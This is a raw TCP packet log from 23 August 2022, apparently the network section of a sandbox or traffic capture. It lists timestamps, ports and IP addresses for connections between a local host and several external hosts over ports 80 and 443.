Aug 23, 2022 03:43:21.951199055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:21.951266050 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:21.985999107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:21.986018896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:22.082554102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:22.082638025 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:23.742765903 CEST	443	49781	148.251.234.83	192.168.2.4
Aug 23, 2022 03:43:23.742918968 CEST	443	49781	148.251.234.83	192.168.2.4
Aug 23, 2022 03:43:23.743025064 CEST	49781	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:43:24.806423903 CEST	49781	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:43:24.806469917 CEST	443	49781	148.251.234.83	192.168.2.4
Aug 23, 2022 03:43:33.716666937 CEST	49824	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.716712952 CEST	443	49824	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.716821909 CEST	49824	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.717108965 CEST	49825	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.717145920 CEST	443	49825	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.717220068 CEST	49825	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.717461109 CEST	49824	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.717478991 CEST	443	49824	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.717669964 CEST	49825	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.717685938 CEST	443	49825	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.764600992 CEST	443	49824	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.767262936 CEST	443	49825	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.781196117 CEST	49825	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.781240940 CEST	443	49825	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.781598091 CEST	49824	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.781641006 CEST	443	49824	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.781769037 CEST	443	49825	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.782401085 CEST	443	49824	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.787753105 CEST	49824	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.787977934 CEST	443	49824	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.788225889 CEST	49825	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.788454056 CEST	49824	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.788500071 CEST	49825	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.788657904 CEST	443	49825	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.816626072 CEST	443	49824	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.816786051 CEST	443	49824	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.816863060 CEST	49824	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.817218065 CEST	49824	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.817253113 CEST	443	49824	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.818304062 CEST	443	49825	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.818398952 CEST	49825	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.818695068 CEST	49825	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:33.818726063 CEST	443	49825	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:33.819166899 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.819222927 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.819370985 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.819549084 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.819559097 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.879880905 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.880392075 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.880429029 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.883812904 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.884005070 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.886145115 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.886415958 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.886423111 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.886442900 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.886464119 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.886653900 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.955705881 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.955822945 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.955847025 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.955909014 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.955982924 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.955995083 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.959641933 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.959706068 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.960407972 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.960429907 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.960549116 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.960971117 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.962419987 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.962491035 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.962539911 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.962560892 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.963289976 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.963336945 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.975805998 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.976053953 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.976149082 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.977531910 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.977641106 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.977693081 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.977715015 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.978120089 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.978914976 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.979065895 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.979080915 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.980443954 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:33.980808020 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.987389088 CEST	49826	443	192.168.2.4	142.251.209.35
Aug 23, 2022 03:43:33.987416029 CEST	443	49826	142.251.209.35	192.168.2.4
Aug 23, 2022 03:43:36.699762106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:36.699898958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:36.734405041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.734427929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.734497070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.734508038 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:36.734554052 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:36.734584093 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:36.734764099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.734986067 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.735024929 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:36.735049963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:36.735117912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.735153913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.735199928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.735276937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.735306025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.769426107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.769501925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.769560099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.769623041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.769674063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.769726038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.769774914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.769823074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.889945030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:36.890117884 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:49.388072968 CEST	49829	443	192.168.2.4	104.22.1.232
Aug 23, 2022 03:43:49.388135910 CEST	443	49829	104.22.1.232	192.168.2.4
Aug 23, 2022 03:43:49.388242006 CEST	49829	443	192.168.2.4	104.22.1.232
Aug 23, 2022 03:43:49.541528940 CEST	49829	443	192.168.2.4	104.22.1.232
Aug 23, 2022 03:43:49.541560888 CEST	443	49829	104.22.1.232	192.168.2.4
Aug 23, 2022 03:43:49.590612888 CEST	443	49829	104.22.1.232	192.168.2.4
Aug 23, 2022 03:43:49.590715885 CEST	49829	443	192.168.2.4	104.22.1.232
Aug 23, 2022 03:43:49.608022928 CEST	49829	443	192.168.2.4	104.22.1.232
Aug 23, 2022 03:43:49.608084917 CEST	443	49829	104.22.1.232	192.168.2.4
Aug 23, 2022 03:43:49.608489037 CEST	443	49829	104.22.1.232	192.168.2.4
Aug 23, 2022 03:43:49.789083958 CEST	49829	443	192.168.2.4	104.22.1.232
Aug 23, 2022 03:43:52.101866961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:52.212343931 CEST	49829	443	192.168.2.4	104.22.1.232
Aug 23, 2022 03:43:52.255388021 CEST	443	49829	104.22.1.232	192.168.2.4
Aug 23, 2022 03:43:52.279572010 CEST	443	49829	104.22.1.232	192.168.2.4
Aug 23, 2022 03:43:52.279711962 CEST	443	49829	104.22.1.232	192.168.2.4
Aug 23, 2022 03:43:52.281591892 CEST	49829	443	192.168.2.4	104.22.1.232
Aug 23, 2022 03:43:52.283595085 CEST	49829	443	192.168.2.4	104.22.1.232
Aug 23, 2022 03:43:52.313591003 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.313644886 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.313769102 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.314418077 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.314429045 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.359503984 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.359638929 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.364124060 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.364141941 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.364568949 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.369970083 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.402781010 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.402832985 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.402867079 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.402893066 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.402911901 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.402924061 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.402946949 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.402972937 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.402988911 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403008938 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.403019905 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403068066 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.403158903 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403467894 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403502941 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403521061 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.403532028 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403543949 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403569937 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.403590918 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403619051 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403631926 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.403645992 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403697014 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403711081 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.403723001 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403754950 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403775930 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.403784037 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403821945 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403822899 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.403834105 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403877974 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.403886080 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403925896 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403958082 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.403964996 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.403974056 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.404007912 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.404444933 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.404499054 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.404531956 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.404548883 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.404565096 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.404611111 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.404616117 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.404638052 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.404650927 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.404676914 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.404706955 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.404737949 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.404747963 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.404757977 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.404800892 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.404810905 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.404819012 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.404856920 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.404860020 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.404867887 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.404915094 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.404920101 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.404928923 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.404956102 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.405010939 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.405019045 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.405031919 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.419058084 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.419198036 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.419222116 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.419281960 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.419945955 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.420022011 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.420691967 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.420770884 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.420783997 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.420810938 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.420824051 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.420830965 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.420855045 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.420871019 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.420885086 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.420901060 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.420941114 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.420942068 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.420952082 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.420998096 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.421001911 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.421011925 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.421061039 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.421061039 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.421071053 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.421109915 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.421118975 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.421142101 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.421160936 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.421183109 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.421196938 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.421255112 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.421260118 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.421266079 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.421298027 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.421305895 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.421329975 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.421334982 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.421385050 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.421979904 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.422024965 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.422060966 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.422117949 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.422137022 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.422158957 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.422197104 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.436456919 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.436553955 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.436577082 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.436592102 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.436619997 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.436626911 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.436661005 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.436669111 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.436691999 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.436697960 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.436764956 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.436777115 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.436794996 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.436835051 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.436846972 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.436867952 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.436872959 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.436930895 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.436944962 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.436968088 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.437000990 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.437015057 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.437026024 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.437031031 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.437096119 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.437120914 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.437180996 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.437386990 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.437458038 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.437463999 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.437474966 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.437517881 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.437525034 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.437532902 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.437537909 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.437566042 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.437578917 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.437628984 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.437637091 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.437745094 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.438347101 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.438419104 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.438419104 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.438435078 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.438472033 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.438487053 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.438487053 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.438499928 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.438541889 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.438945055 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.439038038 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.439052105 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.439064980 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.439109087 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.439135075 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.439179897 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.439189911 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.439198017 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.439230919 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.439234018 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.439282894 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.439291000 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.439326048 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.439332008 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.439340115 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.439382076 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.440079927 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.440151930 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.440162897 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.440262079 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.440275908 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.440330982 CEST	49830	443	192.168.2.4	162.159.129.233
